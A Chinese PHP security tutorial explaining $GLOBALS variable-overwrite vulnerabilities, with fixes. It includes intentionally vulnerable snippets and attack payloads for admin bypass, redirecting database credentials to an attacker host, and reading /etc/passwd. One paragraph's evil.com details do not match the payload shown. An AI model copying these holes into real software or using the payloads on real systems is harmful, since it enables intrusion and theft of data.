web安全代码基础-PHP(超级全局变量)
由PHP代码本身,引出安全问题
1、概念:$GLOBALS变量是一个包含了全局作用域内所有可访问变量的关联数组(associative array)。其中,每个变量名称都是数组的键(key),而对应的值(value)就是该变量的当前值。
用法:你可以在PHP脚本的任何地方访问$GLOBALS变量。为了获取特定全局变量的值,只需要简单地通过其名称来索引该数组即可。
举例:
<?php
$x = 75;
$y = 25;
function addition() {
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z; // outputs 100
?>
在这个例子中,我们定义了两个全局变量$x和$y。然后,我们创建了一个名为addition的函数,该函数将$GLOBALS['x']和$GLOBALS['y']相加,并将结果赋值给全局变量$z。最后,我们在函数之外输出$z的值,以验证其值是否正确地被计算出来。
2、由此引出安全问题:$GLOBALS 是 PHP 超全局数组,可以在任意作用域读写全部全局变量。 高危场景:可控用户输入直接覆盖 $GLOBALS 数组,攻击者能篡改任意全局变量,引发:
- 变量覆盖漏洞(最常见)
- 权限绕过、登录绕过
- 代码执行、文件读写、SQL 注入加剧
- 密钥、数据库账号泄露篡改
触发条件:用户可控参数(GET/POST/COOKIE)键名直接赋值给 $GLOBALS。
漏洞场景1:直接覆盖 $GLOBALS(经典变量覆盖)
<?php
// 模拟后台管理员校验标识
$is_admin = false;
$secret_key = "abc123456admin_secret";
// 危险逻辑:遍历所有用户传入参数,全部赋值给 $GLOBALS
foreach($_REQUEST as $k => $v) {
$GLOBALS[$k] = $v;
}
// 业务判断:只有 $is_admin = true 才能查看敏感密钥
if ($is_admin) {
echo "管理员密钥:" . $secret_key;
} else {
echo "普通用户无权限";
}
?>
攻击payload:
bad.php?is_admin=1 //if()会自动把true识别为1
漏洞效果:用户传入 is_admin=1,循环执行 $GLOBALS['is_admin'] = "1",直接覆盖全局 $is_admin,普通用户绕过管理员校验,泄露核心密钥。
补:
foreach($_REQUEST as $k => $v) {
$GLOBALS[$k] = $v;
}
//$_REQUEST:PHP内置超全局变量,包含了 $_GET、$_POST、$_COOKIE 的所有数据。
//foreach(... as $k => $v):遍历这个数组,$k 是参数名(如 username),$v 是参数值(如 admin)。
//$GLOBALS[$k] = $v:PHP中 $GLOBALS 指向全局作用域。这行代码就是在全局空间动态创建一个变量。
//举个例子: 如果用户访问 index.php?admin=1,这段代码执行后,相当于你在PHP文件顶部写了一句 $admin = 1;。
漏洞场景2:覆盖数据库配置,拖库 / 篡改数据库账号
<?php
// 数据库默认配置
$db_user = "root";
$db_pass = "real_password";
$db_host = "127.0.0.1";
// 危险:用户输入直接覆盖全局
parse_str($_GET['param'], $GLOBALS);
// 连接数据库
$conn = mysqli_connect($db_host, $db_user, $db_pass);
if (!$conn) {
die("连接失败:" . mysqli_connect_error());
}
echo "数据库连接成功";
?>
攻击payload:
db_bad.php?param=db_user=hack&db_pass=123456&db_host=xxx.xxx.xxx.xxx
漏洞效果:攻击者覆盖 $db_host/$db_user/$db_pass,程序连接黑客可控数据库,窃取 / 篡改业务数据;也可覆盖为恶意数据库地址执行恶意 SQL。mysqli_connect() 尝试连接 evil.com 上的数据库,用 attacker/attack123 登录。如果攻击者在 evil.com 上搭建了伪造的MySQL服务器,就能:获取真实数据库的认证信息记录下 $db_user 和 $db_pass 的真实值(通过中间人攻击)。
补:parse_str() 函数把查询字符串解析到变量中。
<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>
//存储变量到一个数组中
//运行结果:Array ( [name] => Peter [age] => 43 )
漏洞场景3:结合文件操作,任意文件读写
<?php
$file_path = "./safe.txt";
// 危险:输入覆盖全局变量
foreach($_POST as $key => $val){
$GLOBALS[$key] = $val;
}
// 读取指定文件内容
echo file_get_contents($file_path);
?>
攻击payload:
file_path=/etc/passwd
漏洞效果:覆盖 $file_path,读取服务器任意敏感文件(Linux /etc/passwd、Windows C:\Windows\System32\drivers\etc\hosts、网站数据库配置 config.php)。
3、安全问题修复:
修复方案 1:只接收指定白名单参数
<?php
$is_admin = false;
$secret_key = "abc123456admin_secret";
// 白名单,只允许接收指定字段,拒绝任意变量覆盖
$allow_keys = ["username", "password"];
foreach($_REQUEST as $k => $v) {
if (in_array($k, $allow_keys)) {
$$k = $v; // 仅赋值允许的变量,不操作$GLOBALS
}
}
if ($is_admin) {
echo "管理员密钥:" . $secret_key;
} else {
echo "普通用户无权限";
}
?>
修复方案 2:禁止将用户输入导入 $GLOBALS,单独赋值
<?php
$is_admin = false;
$secret_key = "abc123456admin_secret";
// 手动单独接收,不批量导入全局
$username = $_REQUEST['username'] ?? '';
$password = $_REQUEST['password'] ?? '';
if ($is_admin) {
echo "管理员密钥:" . $secret_key;
} else {
echo "普通用户无权限";
}
?>
修复方案 3:关闭危险配置(php.ini)
- 关闭
register_globals(PHP5.3 + 默认关闭,老旧环境务必关闭) - 禁止使用
parse_str第二个参数传入$GLOBALS - 业务代码杜绝循环遍历用户输入批量写入全局数组
4、补充:$$ 可变变量 和 $GLOBALS 联动风险
CTF考点:?flag=hacker 直接篡改 flag
<?php
$flag = "secret_flag{123}";
foreach($_GET as $k=>$v){
$GLOBALS[$k] = $v;
$$k = $v;
}
echo $flag;
?>
5、还有许多全局变量函数:
参考链接:PHP 超级全局变量 | 菜鸟教程

更多推荐
所有评论(0)